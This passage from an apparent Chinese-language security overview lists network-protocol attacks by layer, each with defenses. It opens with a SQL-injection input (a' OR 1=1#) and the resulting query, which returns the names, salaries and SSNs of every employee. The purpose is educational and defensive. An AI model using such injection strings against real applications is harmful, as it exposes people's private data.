如果不知道任何一個eid,輸入a' OR 1=1#,就可以獲取所有記錄, sql語句等同於:

select Name, Salary, SSN from employee where eid='a' or 1=1;

常見網路協議存在的安全漏洞、攻擊手段以及防禦手段

根據您提供的資料,以下是一些常見網路協議存在的安全漏洞、攻擊手段以及詳細的防禦手段:

1. 鏈路層安全問題

  • 混雜模式嗅探 (Promiscuous Mode Sniffing):

    • 安全漏洞: 網路卡在混雜模式下可以捕獲網路上的所有資料幀,即使資料幀的目的地址不是該網路卡。

    • 攻擊手段: 攻擊者可以利用嗅探工具 (例如 Wireshark) 捕獲網路上的所有資料幀,從而獲取敏感資訊,例如使用者名稱、密碼、信用卡資訊等。

    • 防禦手段:

      • 加密通訊: 使用加密協議 (例如 HTTPS, SSH) 對敏感資料進行加密,即使資料幀被捕獲,攻擊者也無法獲取明文資訊。

      • 網路分段: 將網路劃分為多個子網,限制廣播域,減少攻擊者嗅探到的資料量。

      • 入侵檢測系統: 部署入侵檢測系統 (IDS) 監測網路流量,識別並報警可疑的嗅探行為。

  • 資料包偽造 (Packet Spoofing):

    • 安全漏洞: 攻擊者可以偽造資料包的源地址、目標地址或其他關鍵資訊。

    • 攻擊手段:

      • ARP 欺騙攻擊: 攻擊者偽造 ARP 資料包,使目標主機將攻擊者的 MAC 地址與閘道器的 IP 地址關聯起來,從而攔截目標主機與閘道器之間的通訊。

      • ICMP 拒絕服務攻擊: 攻擊者傳送大量偽造源 IP 地址的 ICMP 資料包,使目標伺服器無法處理合法請求。

    • 防禦手段:

      • 靜態 ARP 繫結: 將主機與閘道器的 IP 地址和 MAC 地址靜態繫結,防止 ARP 欺騙攻擊。

      • 使用網路安全工具: 使用 Scapy 等網路安全工具檢測和防禦資料包偽造攻擊。

      • 使用入侵檢測和防禦系統: 部署入侵檢測系統 (IDS) 和入侵防禦系統 (IPS) 監測網路流量,識別並攔截偽造的資料包。

2. 網路層安全問題

  • IP 欺騙 (IP Spoofing):

    • 安全漏洞: 攻擊者可以偽造 IP 資料包的源 IP 地址。

    • 攻擊手段: 攻擊者可以使用 IP 欺騙技術進行拒絕服務攻擊、會話劫持等攻擊。

    • 防禦手段:

      • 入口過濾: 在網路邊界路由器上配置入口過濾規則,丟棄來自外部網路的偽造源 IP 地址的資料包。

      • 出口過濾: 在網路邊界路由器上配置出口過濾規則,丟棄來自內部網路的偽造源 IP 地址的資料包。

      • 使用入侵檢測和防禦系統: 部署入侵檢測系統 (IDS) 和入侵防禦系統 (IPS) 監測網路流量,識別並攔截偽造的 IP 資料包。

  • 防火牆繞過 (Firewall Evasion):

    • 安全漏洞: 攻擊者可以利用防火牆的漏洞或配置錯誤繞過安全策略。

    • 攻擊手段:

      • 使用 SSH 隧道技術: 將流量封裝在加密的 SSH 連線中,從而繞過防火牆的過濾規則。

      • 使用 VPN: 使用 VPN 建立加密隧道,將流量隱藏在 VPN 隧道中,從而繞過防火牆的過濾規則。

    • 防禦手段:

      • 及時更新防火牆規則: 定期更新防火牆規則,修復已知的漏洞和配置錯誤。

      • 使用深度包檢測技術: 使用深度包檢測 (DPI) 技術檢查資料包的負載內容,識別並攔截試圖繞過防火牆的流量。

      • 部署應用層防火牆: 部署應用層防火牆 (WAF) 對應用層流量進行過濾,防止攻擊者利用應用層漏洞繞過防火牆。

3. 傳輸層安全問題

  • TCP SYN 洪泛攻擊 (SYN Flooding Attack):

    • 安全漏洞: 利用 TCP 三次握手的機制,攻擊者傳送大量偽造的 TCP SYN 資料包,使伺服器的連線佇列被佔滿。

    • 攻擊手段: 攻擊者傳送大量偽造源 IP 地址的 TCP SYN 資料包,使目標伺服器無法處理合法使用者的連線請求,造成拒絕服務。

    • 防禦手段:

      • SYN Cookies: 伺服器使用 SYN Cookies 技術,不儲存半開連線的狀態資訊,而是將狀態資訊編碼到 SYN-ACK 資料包的序列號中,只有當客戶端回覆 ACK 資料包且序列號正確時,伺服器才會建立連線。

      • 防火牆過濾: 防火牆可以配置規則,限制來自單個 IP 地址的 SYN 資料包的數量,防止 SYN 洪泛攻擊。

      • 入侵檢測和防禦系統: 部署入侵檢測系統 (IDS) 和入侵防禦系統 (IPS) 監測網路流量,識別並攔截 SYN 洪泛攻擊。

  • TCP 重置攻擊 (TCP Reset Attack):

    • 安全漏洞: 利用 TCP 協議的 RST (重置) 標誌,攻擊者可以傳送偽造的 TCP RST 資料包,強制斷開已建立的 TCP 連線。

    • 攻擊手段: 攻擊者可以斷開使用者與伺服器的連線,阻止使用者訪問服務。

    • 防禦手段:

      由於 RST 攻擊需要攻擊者能夠嗅探到 TCP 通訊並預測序列號,因此防禦手段主要集中在加強網路安全和加密通訊:

      • 加密通訊: 使用加密協議 (例如 HTTPS, SSH) 對敏感資料進行加密,即使資料包被捕獲,攻擊者也無法獲取序列號等資訊。

      • 網路分段: 將網路劃分為多個子網,限制攻擊者嗅探到的資料量。

      • 入侵檢測系統: 部署入侵檢測系統 (IDS) 監測網路流量,識別並報警可疑的 RST 資料包。

  • TCP 會話劫持 (TCP Session Hijacking):

    • 安全漏洞: 攻擊者在已建立的 TCP 連線中注入惡意資料。

    • 攻擊手段: 攻擊者可以劫持使用者的 Telnet 會話,執行惡意命令,或者竊取敏感資訊。

    • 防禦手段:

      • 加密通訊: 使用加密協議 (例如 HTTPS, SSH) 對敏感資料進行加密,防止攻擊者嗅探到序列號等資訊。

      • 隨機化序列號: 使用隨機的初始序列號,使攻擊者難以預測序列號。

      • 使用身份驗證機制: 在應用層使用身份驗證機制,例如使用者名稱和密碼,防止攻擊者劫持會話。

4. 應用層安全問題

  • DNS 快取中毒 (DNS Cache Poisoning):

    • 安全漏洞: 攻擊者將偽造的 DNS 記錄注入到 DNS 快取中,將使用者導向惡意網站。

    • 攻擊手段: 攻擊者可以將 www.example.com 的 IP 地址解析到攻擊者控制的伺服器,當使用者訪問 www.example.com 時,就會被導向惡意網站。

    • 防禦手段:

      • DNSSEC: 使用 DNSSEC (DNS 安全擴充套件) 對 DNS 資料進行數字簽名,確保 DNS 資料的真實性和完整性。

      • 使用 TLS/SSL: 使用 TLS/SSL 協議對 DNS 查詢和響應進行加密,防止攻擊者篡改 DNS 資料。

      • 繫結 DNS 伺服器: 將域名與特定的 DNS 伺服器繫結,防止攻擊者將偽造的 DNS 記錄注入到其他 DNS 伺服器的快取中。

  • SQL 注入 (SQL Injection):

    • 安全漏洞: 攻擊者利用 Web 應用程式的漏洞,將惡意 SQL 程式碼注入到資料庫查詢語句中。

    • 攻擊手段: 攻擊者可以在使用者登入表單中輸入惡意 SQL 程式碼,獲取資料庫中的敏感資訊,或者修改資料庫中的資料。

    • 防禦手段:

      • 輸入驗證: 對使用者輸入進行驗證,過濾掉可能包含惡意 SQL 程式碼的字元。

      • 預編譯語句 (Prepared Statement): 使用預編譯語句,將 SQL 程式碼與資料分離,防止攻擊者注入惡意 SQL 程式碼。

      • 資料庫訪問控制: 限制資料庫使用者的許可權,只允許使用者訪問必要的資料庫資源。

  • 跨站請求偽造 (CSRF):

    • 安全漏洞: 攻擊者誘騙使用者在已經登入的目標網站上執行惡意操作。

    • 攻擊手段: 攻擊者可以傳送一個連結,誘騙使用者在不知情的情況下修改密碼或轉賬。

    • 防禦手段:

      • 使用 Referer 頭部資訊: 伺服器可以檢查 Referer 頭部資訊,判斷請求是否來自合法的網站。

      • 使用 SameSite Cookie 屬性: 設定 SameSite Cookie 屬性,限制 Cookie 只能在同站請求中傳送,防止跨站請求偽造攻擊。

      • 使用隨機令牌 (Secret Token): 在表單中新增隨機令牌,伺服器驗證令牌的有效性,防止攻擊者偽造請求。

  • 跨站指令碼執行 (XSS):

    • 安全漏洞: 攻擊者將惡意指令碼注入到網頁中,當使用者訪問網頁時,惡意指令碼就會在使用者的瀏覽器中執行。

    • 攻擊手段: 攻擊者可以在論壇帖子中插入惡意指令碼,竊取使用者的 Cookie 資訊,或者修改網頁內容。

    • 防禦手段:

      • 輸出編碼: 對使用者輸入進行編碼,將特殊字元轉換為 HTML 實體,防止攻擊者注入惡意指令碼。

      • 內容安全策略 (CSP): 使用 CSP 限制網頁可以載入的資源,防止攻擊者注入惡意指令碼。

      • 使用 HTTPOnly Cookie 屬性: 設定 HTTPOnly Cookie 屬性,禁止 JavaScript 指令碼訪問 Cookie,防止攻擊者竊取 Cookie。

5. 外掛安全問題

  • 惡意外掛 (Malicious Plugin):

    • 安全漏洞: 攻擊者開發惡意外掛,利用外掛的許可權竊取使用者資訊或進行其他惡意操作。

    • 攻擊手段: 攻擊者可以開發一個瀏覽器外掛,竊取使用者的瀏覽歷史記錄或密碼,或者劫持使用者的瀏覽器。

    • 防禦手段:

      • 從官方應用商店下載外掛: 只從官方應用商店下載外掛,例如 Chrome 網上應用店、Firefox 附加元件網站等。

      • 仔細閱讀外掛許可權說明: 在安裝外掛之前,仔細閱讀外掛許可權說明,瞭解外掛需要哪些許可權,避免安裝需要過多許可權的外掛。

      • 檢視使用者評價和評分: 在安裝外掛之前,檢視其他使用者的評價和評分,瞭解外掛的安全性。

      • 定期更新外掛: 定期更新外掛,修復已知的安全漏洞。

      • 使用安全軟體: 使用安全軟體掃描和攔截惡意外掛。

總結

網路協議的安全漏洞和攻擊手段多種多樣,攻擊者可以利用這些漏洞和手段對網路進行攻擊,竊取資訊、破壞資料、控制系統等。為了保護網路安全,需要採取多層次的防禦措施,包括:

  • 加強安全意識: 提高使用者和管理員的安全意識,瞭解常見的網路攻擊手段和防禦方法。

  • 使用安全協議: 使用 HTTPS、SSH 等安全協議對敏感資料進行加密,防止攻擊者竊取資訊。

  • 升級系統和軟體: 及時更新系統和軟體,修復已知的安全漏洞。

  • 過濾使用者輸入: 對使用者輸入進行驗證和過濾,防止攻擊者注入惡意程式碼。

  • 進行安全測試: 定期進行安全測試,發現和修復系統和應用程式的安全漏洞。

  • 部署安全裝置: 部署防火牆、入侵檢測系統等安全裝置,監測網路流量,識別並攔截攻擊行為。

  • 制定安全策略: 制定完善的安全策略,規範使用者和管理員的行為,降低安全風險。

請注意: 以上內容僅基於您提供的資料進行總結和整理,可能無法涵蓋所有常見的網路協議安全漏洞和攻擊手段,您可能需要根據實際情況進行進一步的研究和學習。

相關文章